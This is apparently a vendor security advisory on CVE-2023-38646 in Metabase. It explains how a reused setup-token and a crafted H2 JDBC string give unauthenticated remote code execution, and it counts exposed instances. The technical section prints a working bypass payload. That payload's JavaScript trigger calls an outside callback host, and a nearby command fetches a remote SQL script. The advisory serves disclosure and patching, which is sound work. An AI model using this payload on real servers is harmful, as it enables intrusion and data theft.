MCP Security Alert: MarkItDown, Archon OS, Kubectl MCP

3 Years Later, CVE-2023-38646 Still Haunts Thousands of Metabase Deployments

3 years later cve 2023 38646 still haunts thousands of metabase deployments 1

Severity: Critical
Affected Versions: Metabase Open Source versions prior to 0.46.6.1 and Metabase Enterprise versions prior to 1.46.6.1
Impact: This vulnerability affects Metabase and allows unauthenticated attackers to execute arbitrary commands on the server, leading to full system compromise and potential exposure of sensitive data.

TLDR

The OX Research team successfully exploited CVE-2023-38646, a three-year-old critical Metabase vulnerability that allows unauthenticated remote code execution. Our Shodan analysis found more than 17,000 publicly exposed Metabase instances — many still running vulnerable versions. If you’re running Metabase, check your version and patch now.

Overview

Metabase is a widely used open-source business intelligence platform that helps organizations explore and visualize data without heavy technical overhead. It’s trusted by startups and large companies alike and has a strong community, with 45K+ stars and over 6K forks on GitHub, highlighting its popularity and broad adoption. Metabase typically connects directly to core data sources – often containing sensitive business, financial, or customer data – making it a critical part of analytics stacks. Because of this deep access and central role, vulnerabilities in Metabase can lead to serious data exposure or misuse, which is why its security should matter to anyone running it.

The OX Research team analyzed and successfully exploited a known Metabase vulnerability (CVE-2023-38646) originally discovered by Assetnote that allows unauthenticated remote code execution, resulting in full compromise of the Metabase server.

What we exploited (CVE-2023-38646)

We exploited a known vulnerability in Metabase that allows unauthenticated attackers to execute arbitrary code on the server by abusing the exposed setup-token. By reusing this token after the initial setup, we were able to access internal setup APIs and trigger the database connection validation functionality. Through a crafted JDBC connection string targeting the embedded H2 database, we bypassed existing mitigations and achieved arbitrary command execution on the Metabase server without requiring authentication.

Who Is Affected?

All organizations running Metabase on publicly accessible servers using vulnerable versions are affected. This includes both Metabase Open Source and Enterprise deployments that have not been updated to the fixed releases addressing CVE-2023-38646.

Based on our Shodan analysis, we identified more than 17,000 publicly exposed Metabase instances, many of which were running versions vulnerable to unauthenticated remote code execution.

Potential Damage

  • Unauthenticated remote code execution on the Metabase server
  • Full system compromise with execution at the privileges of the Metabase process
  • Exposure of sensitive data, credentials, and database contents
  • Lateral movement within the internal network from the compromised Metabase host

Recommendations

  • Upgrade Metabase Open Source and Enterprise deployments to the latest fixed versions immediately
  • Ensure Metabase instances are not publicly exposed unless strictly necessary
  • Restrict access to internal setup and administrative endpoints using network-level controls
  • Harden network segmentation and monitoring to reduce the risk of lateral movement following a compromise

Technical Analysis

Attack Scenarios: How could this be exploited in the wild?

  1. An attacker can scan the internet for publicly accessible Metabase instances and identify those running vulnerable versions.
  2. By abusing the exposed setup-token, an attacker can access internal setup APIs without authentication.
  3. The attacker can then send a crafted JDBC connection validation request targeting the embedded H2 database, resulting in arbitrary command execution on the Metabase server.

Attack Graph

image

How it works

This vulnerability allows an attacker to achieve unauthenticated remote code execution (RCE) on Metabase instances by abusing the exposed setup-token and the database connection validation process.

CVE-2023-38646 arises from improper handling of the setup-token, which remains valid even after the initial setup is completed. Normally, this token is meant only for first-time setup and is supposed to be cleared afterward. However, due to this flaw, an attacker can reuse the token to access internal setup APIs without authentication.

As can be seen in the image below, a request can be sent without a session token while getting the “setup-token” in the response:

image

Our team confirmed in the source code that this behavior is intentional — and still present in the latest version of Metabase.

However, many instances returned “setup-token”: null.

The reason for this behavior can be found in the following commit, which modifies the file located at: src/metabase/api/setup.clj

image

As seen in lines 140 and 141, the line responsible for clearing the setup token was removed in that commit. This change led to the persistence of the setup-token in several versions of Metabase.

Metabase’s setup API allows validation of database connections via JDBC. While this functionality is intended solely to confirm database availability, certain JDBC features – like H2’s INIT=RUNSCRIPT or TRACE_LEVEL_SYSTEM_OUT – can be abused to execute arbitrary SQL or system commands during the connection process. By crafting a malicious JDBC connection string targeting the embedded H2 database, an attacker can bypass mitigations and trigger arbitrary code execution.

Since Metabase is built with Clojure, it’s common to see database connections handled via JDBC drivers.

To validate a database connection, Metabase allows a validation step through a POST request to the /api/setup/validate endpoint, which requires the setup-token.

In the image below, you can see a request used to test the connection to a database file named metabase.db:

image

In certain databases, such as H2, it is possible to execute SQL scripts immediately upon establishing a connection by using the INIT=RUNSCRIPT parameter in the JDBC URL. We explore this technique in the following scenario.

When testing locally, we used the following command:

java -cp h2-1.4.200.jar org.h2.tools.Shell -url “jdbc:h2:mem:testdb;INIT=RUNSCRIPT FROM ‘http://localhost:81/payload.sql'”

The payload.sql file contains:

CREATE TABLE hello_world (

  id INT PRIMARY KEY,

  message VARCHAR(255)

);

INSERT INTO hello_world (id, message) VALUES (1, ‘It works!’);

And we can see that the sql indeed run:

image

However, attempting this method on Metabase did not succeed.

Our team identified the specific commit responsible for patching this behavior:

image

In the H2 database, DDL (Data Definition Language) commands are SQL statements used to create, modify, or delete database objects such as tables.

Upon reviewing this commit, we discovered:

image

Which is used here:

image

To bypass this mitigation, the following payload was used:

zip:/app/metabase.jar!/sample-database.db;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL(‘https://wpugmungcahaurmkbgevdt2owhrzbq8xs.oast.fun/pwn134’).openConnection().getContentLength()$$–=x\\;

  1. zip:/app/metabase.jar!/sample-database.db instructs H2 to open the database file sample-database.db located inside the ZIP/JAR archive at /app/metabase.jar.
  2. zip: is an H2-specific URI prefix used to access embedded ZIP or JAR resources.
  3. The exclamation mark ! separates the archive path from the internal file name within the archive.

Next, the configuration key TRACE_LEVEL_SYSTEM_OUT needs to be set. The configuration key TRACE_LEVEL_SYSTEM_OUT controls the verbosity of internal debug logs printed to the system output (stdout), and is useful for tracking SQL execution, errors, or connection issues during development or testing.

However, the sequence \\; is intended to escape the semicolon so that it becomes part of the value.

In practice, H2 treats the semicolon as a delimiter, causing the configuration to be prematurely terminated.

This behavior tricks the parser into interpreting the following portion as raw SQL.

The injected SQL block is executed immediately upon connection because it follows the semicolon. For example:

CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES

This statement defines a trigger named IAMPWNED that fires before any SELECT query on the INFORMATION_SCHEMA.TABLES table.

As a result, any UI or database introspection-such as when Metabase or H2 queries table metadata-will activate this trigger.

Then in H2, you can define the body of a trigger or function in JavaScript, wrapped in $$//javascript … $$.

Inside which, an outbound HTTP request is made to an attacker-controlled domain to act as an exfiltration proof-of-trigger – we will receive a request coming and know the code executed.

Then we will use –=x\; in order to prevent syntax errors and also use it as an SQL comment.

By combining these issues, an unauthenticated attacker can send requests that result in arbitrary code execution on the Metabase server, leading to potential full system compromise.

Too Good to BI True

This advisory is part of Too Good to BI True, OX Security’s research into the security posture of the most widely deployed open-source Business Intelligence platforms. Across five platforms, our researchers achieved full exploitation chains in every single one — reaching data that should never have been accessible. The findings include four zero-day discoveries and over 45,000 publicly exposed instances.

Read the advisories:

Download the full report →

Tags:

post banner image

Run Every Security Test Your Code Needs

Pinpoint, investigate and eliminate code-level issues across the entire SDLC.

GET A PERSONALIZED DEMO
Frame 2085668530

Subscribe to Our Newsletter

Stay updated with the latest SaaS insights, tips, and news delivered straight to your inbox.

Security Starts at the Source